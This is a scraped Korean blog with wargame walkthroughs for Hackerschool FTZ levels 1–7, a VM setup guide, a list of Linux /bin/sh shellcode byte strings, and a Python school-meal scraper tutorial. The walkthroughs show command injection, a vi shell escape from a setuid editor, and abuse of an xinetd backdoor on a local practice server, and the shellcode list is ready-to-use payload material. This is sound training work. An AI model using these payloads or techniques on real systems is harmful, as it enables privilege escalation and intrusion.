반응형
반응형
반응형


해커스쿨 FTZ [LEVEL7] 풀이


M4ndU




해커스쿨 FTZ [LEVEL7] 풀이입니다.


ID | level7

PW | come together


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level7

level7@192.168.31.128's password:

[level7@ftz level7]$ ls -l

total 12

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

[level7@ftz level7]$ cat hint



/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



음... 힌트를 봐도 잘 모르겠습니다..

일단 /bin/level7 명령을 실행해 봅시다.


[level7@ftz level7]$ level7

Insert The Password : hi

cat: /bin/wrong.txt: No such file or directory


/bin/에 있기 때문에 이동하지 않고 바로 level7을 입력해서 사용할 수 있습니다.
비밀번호를 입력하라고 해서 아무 문자나 넣어 보았습니다.
그랬더니 /bin/wrong.txt 가 없다고 뜹니다!

이 오류는 개인이 FTZ 서버를 열어서 하는경우 생기는 것이라고 하네요...
직접 root계정으로 접속하셔서 wrong.txt 를 만들어주어야 한다고 합니다.


정상적인 작동을 한다면 이런 문자가 출력된다고 합니다 :


--_--_- --____- ---_-__ --__-_-


여기서 다시 힌트를 봅시다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.


2진수를 10진수로 바꿀 수 있는가.

-를 1로, _를 0으로 본다면,


--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)


109, 97, 116, 101 무엇을 의미하는 것일까요?

잘 생각해보면 ASCII 범위(0~127)의 값인 것을 알 수 있습니다!


109 -> m

97 -> a

116 -> t

101 -> e


mate 라는 문자열이 나옵니다.

다시 level7 명령어를 사용해서 패스워드에 mate를 입력해보겠습니다.


[level7@ftz level7]$ level7

Insert The Password : mate


Congratulation! next password is "break the world".


성공입니다!! 가즈아아아아아아아아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL6] 풀이


M4ndU




해커스쿨 FTZ [LEVEL6] 풀이입니다.


ID | level6

PW | what the hell


으로 로그인합니다.




login as: level6

level6@192.168.31.128's password:



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.



로그인을 했더니 쉘은 안뜨고 힌트가 바로 뜬다.

여기서 엔터를 눌렀더니 


  #####################################

  ##                                                         ##

  ##         텔넷 접속 서비스                          ##

  ##                                                         ##

  ##                                                         ##

  ##     1. 하이텔     2. 나우누리                     ##

  ##     3. 천리안                                        ##

  ##                                                         ##

  #####################################


접속하고 싶은 bbs를 선택하세요 :



이런게 뜬다.

1을 누르고 엔터를 눌렀더니 Tring... 만 뜨고 아무일도 일어나지 않는다.

여기서 Ctrl + C 를 눌렀더니 level6의 쉘이 뜬다.


ls -l 로 어떤 파일이 있는가를 확인하고 password 파일을 cat을 통해 확인했다.


접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

[level6@ftz level6]$ ls -l

total 32

-rw-r--r--    1 root     root           72 Nov 23  2000 hint

-rw-r-----    1 root     level6         36 Mar 24  2000 password

drwxr-xr-x    2 root     level6       4096 May 16  2005 public_html

drwxrwxr-x    2 root     level6       4096 Jan 14  2009 tmp

-rwxr-x---    1 root     level6      14910 Mar  5  2003 tn

[level6@ftz level6]$ cat password

Level7 password is "come together".

[level6@ftz level6]$


가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL5] 풀이


M4ndU




해커스쿨 FTZ [LEVEL5] 풀이입니다.


ID | level5

PW | what is your name?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level5

level5@192.168.31.128's password:

[level5@ftz level5]$ ls -l

total 12

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 /tmp 에 임시 파일을 생성한다고 합니다.
일단 /usr/bin/level5를 실행해 보겠습니다.

[level5@ftz level5]$ /usr/bin/level5

음.. /tmp로 가볼까요?

[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -l
total 0음... 아무것도 없네요. 아마 임시파일이라서 생성되었다가 사라지는 것 같습니다.

그럼 직접 /tmp에 level5.tmp라는 파일을 만들어두고 /usr/bin/level5 를 실행하면 level5.tmp에 덮어쓰기가 일어나지 않을까요?
한번 해봅시다.

[level5@ftz tmp]$ cat > level5.tmp
hi
[level5@ftz tmp]$ /usr/bin/level5

cat 명령어로 level5.tmp를 만들고 /usr/bin/level5를 실행했습니다.
그리고 다시 level5.tmp를 cat명령어로 보면?

[level5@ftz tmp]$ cat level5.tmp
next password : what the hell

다음 패스워드가 뜨네요!

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL4] 풀이


M4ndU




해커스쿨 FTZ [LEVEL4] 풀이입니다.


ID | level4

PW | suck my brain


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


일단 /etc/xinetd.d/로 이동을 해야겠네요.


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor


정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.


[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 백도어이며,
level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -l
total 0

아무것도 없네요..
그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.


[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

}

~

~


i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".


다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL2] 풀이


M4ndU




해커스쿨 FTZ [LEVEL2] 풀이입니다.


ID | level2

PW | hacker or cracker


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level2

level2@192.168.31.128's password:

[level2@ftz level2]$ ls -l

total 12

-rw-r--r--    1 root     root           60 Mar 23  2000 hint

drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level2       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level2@ftz level2]$ cat hint



텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


?????????

일단.. level3의 쉘의 명령을 실행시킬수 있어야 하니 level3권한에 setuid가 걸린 파일을 찾아 봅시다.


[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null

/usr/bin/editor


오! 찾았습니다.

이 editor를 실행해 봅시다.
[level2@ftz level2]$ cd /usr/bin
[level2@ftz bin]$ ./editor

~
~
~
~
~
~
~
~
~
~
~
~                              VIM - Vi IMproved
~
~                               version 6.1.320
~                           by Bram Moolenaar et al.
~                 Vim is open source and freely distributable
~
~                        Help poor children in Uganda!
~                type  :help iccf<Enter>       for information
~
~                type  :q<Enter>               to exit
~                type  :help<Enter>  or  <F1>  for on-line help
~                type  :help version6<Enter>   for version info
~
~
~
~
~
~
~
~
~
~
~


vi 에디터네요.


명령어를 수행하는 : 를 누르고, 외부 쉘을 실행시키는 !과 쉘을 얻기 위해 /bin/bash를 입력해 주자.


~

~

~

~

:!/bin/bash



그랬더니 level3의 쉘이 떴다!
my-pass를 통해 패스워드를 확인하자.
[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".


자, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL1] 풀이


M4ndU




해커스쿨 FTZ [LEVEL1] 풀이입니다.


ID | level1

PW | level1


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp



hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.


level2 권한에 setuid가 걸린 파일을 찾아 봅시다.


find 명령어를 사용하면 됩니다.


[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)


하지만 오류가 많아서 우리가 찾고자 하는 파일을 찾기 힘듭니다.

그래서 이 오류들을 제외시켜주는 옵션을 추가해 줍시다.


바로 2> /dev/null 입니다.

여기서 2는 표준에러, /dev/null은 휴지통을 의미합니다.


[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe


찾았습니다!

ExecuteMe가 존재하는 /bin으로 이동하고, ExecuteMe를 실행하겠습니다.


[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



레벨2의 권한으로 원하는 명령어를 실행시켜 준다는데, my-pass와 chmod는 안된다고 합니다.

그렇지만 우리는 다른 방법으로도 level2의 패스워드를 얻을 수 있습니다.


level2의 권한으로 bash를 띄워서 my-pass 명령어를 사용하면 됩니다.


                [level2@ftz level2]$ bash



[level2@ftz level2]$ my-pass


Level2 Password is "hacker or cracker".


이제, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형

1. 준비


준비물

- VMware Workstation Player [다운로드 링크]

- Red Hat 9.0 파일과 ftz.iso 파일 [다운로드 링크]

- Putty [다운로드 링크]



1. VMware를 설치합니다.


2. Putty를 설치합니다.


3. 다운받은 압축파일(FTZ.zip)의 압축을 풀어주세요.


4. Vmware_Redhat_9_FTZ.zip 의 압축도 풀어주세요.





2. 구축하기



 

1. Vmware_Redhat_9_FTZ 폴더에서 Red Hat Linux.vmdk 파일을 실행합니다.





-만약 오류가 날경우, Vmware를 실행하신후, Open a Virtual Machine를 클릭합니다.

  Vmware_Redhat_9_FTZ 폴더의 Red Hat Linux.vmx 파일을 엽니다.






2. 좌측에서 Red Hat Linux 9.0를 클릭합니다.


우측 하단의 Edit virtual machine settings를 클릭합니다.




CD/DVD (IDE) 에서 Use ISO image file을 체크, Browse를 눌러 ftz.iso를 엽니다.




3. Play virtual machine 을 눌러 가상머신을 시작합니다.




I Copied It을 눌러 줍니다.

그리고 기다립니다.




root / hackerschool 로 로그인하고, ifconfig 명령어로 inet addr 부분을 확인합니다.



4. Putty를 실행합니다.



Host Name란에 inet addr의 ip주소를 넣어주고 Open을 클릭합니다.


level1 / level1 로 로그인하셔서 시작하시면 됩니다.





만약 한글이 깨져 보인다면?


0. Putty 에서 Window > Translation 에서 Remote character set을 CP949로 설정합니다.


안될경우

0. Putty 에서 Window > Translation 에서 Remote character set을 Use font encoding로 설정합니다.


안될경우

0. Putty 에서 서버 저장후

   Windows 검색 > regedit > HKEY_CURRENT_USER > Software > SimonTatham > Putty > Sessions

   저장한 서버에서 FontCharSet을 더블클릭, 81(16진수)또는 129(10진수)로 변경, LineCodePage를 더블클릭, CP949로 입력합니다.




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07
반응형

25 Bytes Shell Code


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




26 Bytes Shell Code


\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80




41 Bytes Shell Code

    setreuid(geteuid(), getreuid()) 포함


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




48 Bytes Shell Code

    \x2f가 없는 쉘코드


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81




x64

23 Bytes Shell Code


\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05




x64

31 Bytes Shell Code


\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05


반응형
반응형

Ubuntu 16.04.3과 Python 3.5.2를 사용하였습니다.

(추후 이 파서를 사용하여 디스코드 봇을 만들때 사용되는 discord.py의 요구사항이 Python 3.4 이상이기 때문)




먼저, Beautifulsoup를 설치해 줍니다.


$pip3 install Beautifulsoup4




급식데이터를 추출할 페이지를 골라야 하는데요.

나이스 홈페이지 또는 해당 학교홈페이지에서 급식데이터를 가져올 수 있습니다.


그러나 학교홈페이지를 이용할 경우 학교홈페이지마다 구조가 약간씩 다르기 때문에,

나이스 홈페이지를 사용하여 진행하도록 하겠습니다.



그럼, 우리에게 필요한 URL을 구해보겠습니다.

(각자의 조건에 맞게 구하세요.)


1. 교육청 주소


나이스 학생서비스(https://stu.use.go.kr/) <----- 이동해 줍니다.



상단에 OOO교육청 이동하기를 통해 자신의 학교가 속한 교육청으로 이동해줍니다.

그리고 URL을 확인합니다. (ex 서울특별시교육청 : https://stu.sen.go.kr)



2. 학교고유코드


나의생활 > 학교안내 > 기본정보 에서 자신의 학교를 검색하고

해당 페이지의 쿠키값을 확인하면 우리에게 필요한 값들을 얻을 수 있습니다.


schulCode=B100000519    #우리가 검색한 학교의 고유 코드이다.

schulKndScCode=04    #01은 유치원, 02는 초등학교, 03은 중학교, 04는 고등학교를 의미한다.

schulCrseScCode=4    #1은 유치원, 2는 초등학교, 3은 중학교, 4는 고등학교를 의미한다.


쿠키값은 EditThisCookie 라는 크롬 확장프로그램을 사용하시면 됩니다.



3. 정확한 주소 구하기


우리는 주간식단 페이지에서 식단을 추출할 것이기에 주간식단 주소를 구해줍니다.

주간식단 주소 : /sts_sci_md01_001.do


이 주소 뒤에 쿼리값으로 위에서 구한 값들과, 아래 값을 담아 보내면 됩니다.


schMmealScCode=2    #1 조식, 2 중식, 3 석식

schYmd=2018.1.1    #2018년 1월 1일이 포함된 한 주(week), '.(점)'주의



4. 주소 확인하기


예시

http://stu.sen.go.kr/sts_sci_md01_001.do?schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04&schMmealScCode=2&schYmd=2017.12.26

위와 같이 자신이 구한 주소를 요청하였을때, 자신이 적은 날짜(schYmd의 값)가 포함된 그 주의 식단이 표시되면 됩니다.




이제 코드를 작성해 봅시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from bs4 import BeautifulSoup
 
 
def get_html(url):
   _html = ""
   resp = requests.get(url)
   if resp.status_code == 200:
      _html = resp.text
   return _html
 
 
def get_diet(code, ymd, weekday):
    schMmealScCode = code #int
    schYmd = ymd #str
 
    URL = (
            "http://stu.sen.go.kr/sts_sci_md01_001.do?"
            "schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04"
            "&schMmealScCode=%d&schYmd=%s" % (schMmealScCode, schYmd)
        )
    html = get_html(URL)
    
    element = html
 
    return element
 
cs


나중에 사용하기 편하게 하기 위해 함수로 만들어 주었습니다.


get_html(url)은 해당 페이지의 html소스를 출력해 주는 함수입니다.


이 소스 하단에

28
29
diet = get_diet(2"2017.12.26")
print(diet)
cs

를 추가하면  2017년 12월 26일 중식에 대한 결과값을 출력해줍니다.


이 코드를 실행하면, 매우 긴 html소스를 볼 수 있습니다.

여기서 우리가 원하는 식단만을 추출해야 합니다.


나이스 홈페이지에 들어가서 소스를 확인하면,

식단이 3번째 tr 태그 안에, td 태그 안에 있는것을 알 수 있습니다.


이를 바탕으로 코드를 추가해 줍시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from bs4 import BeautifulSoup
import re
 
 
def get_html(url):
   _html = ""
   resp = requests.get(url)
   if resp.status_code == 200:
      _html = resp.text
   return _html
 
 
def get_diet(code, ymd, weekday):
    schMmealScCode = code #int
    schYmd = ymd #str
    
    num = weekday + 1 #int 0월1화2수3목4금5토6일
    URL = (
            "http://stu.sen.go.kr/sts_sci_md01_001.do?"
            "schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04"
            "&schMmealScCode=%d&schYmd=%s" % (schMmealScCode, schYmd)
        )
    html = get_html(URL)
    soup = BeautifulSoup(html, 'html.parser')
    element = soup.find_all("tr")
    element = element[2].find_all('td')
    try:
        element = element[num] #num
        element = str(element)
        element = element.replace('[''')
        element = element.replace(']''')
        element = element.replace('<br/>''\n')
        element = element.replace('<td class="textC last">''')
        element = element.replace('<td class="textC">''')
        element = element.replace('</td>''')
        element = element.replace('(h)''')
        element = element.replace('.''')
        element = re.sub(r"\d""", element)
    except:
        element = " "
    return element
 
cs


코드를 설명하면,

25~27: 아까 출력했던 html소스를 beautifulsoup에 넣어주고,

find_all()을 사용하여 tr태그를 추출하고, 추출한 tr태그들중 3번째에서 td태그를 추출합니다. 

이렇게 하면 식단표를 추출해낼 수 있습니다. 여기서 우리가 필요한 것은 1주일 식단이 아닌 하루 식단이기 때문에


29:우리가 요청하는 날짜의 요일번째수의 td태그의 내용을 추출하면 됩다.

(datetime 모듈을 이용하여 요일값을 구하고 +1을 해주면 된다.)


30~39: 불필요한 문자열들이 포함되어 있으므로 모두 제거해 주면 됩니다.


Github : https://github.com/M4ndU/school_meal_parser_python



파서 활용하기 : 

디스코드 챗봇 만들기

step1 바로가기 (http://mandu-mandu.tistory.com/64)

step2 바로가기 (http://mandu-mandu.tistory.com/65)

step3 바로가기 (http://mandu-mandu.tistory.com/66)

step4 바로가기 (http://mandu-mandu.tistory.com/91)


카카오톡 챗봇 만들기

step1 바로가기 (http://mandu-mandu.tistory.com/67)

step2 바로가기 (http://mandu-mandu.tistory.com/68)


디스코드 챗봇 소스 (https://github.com/M4ndU/inhun_discord_chat_bot_2)

카카오톡 챗봇 소스 (https://github.com/M4ndU/inhun_kakao_chat_bot_2)




반응형

+ Recent posts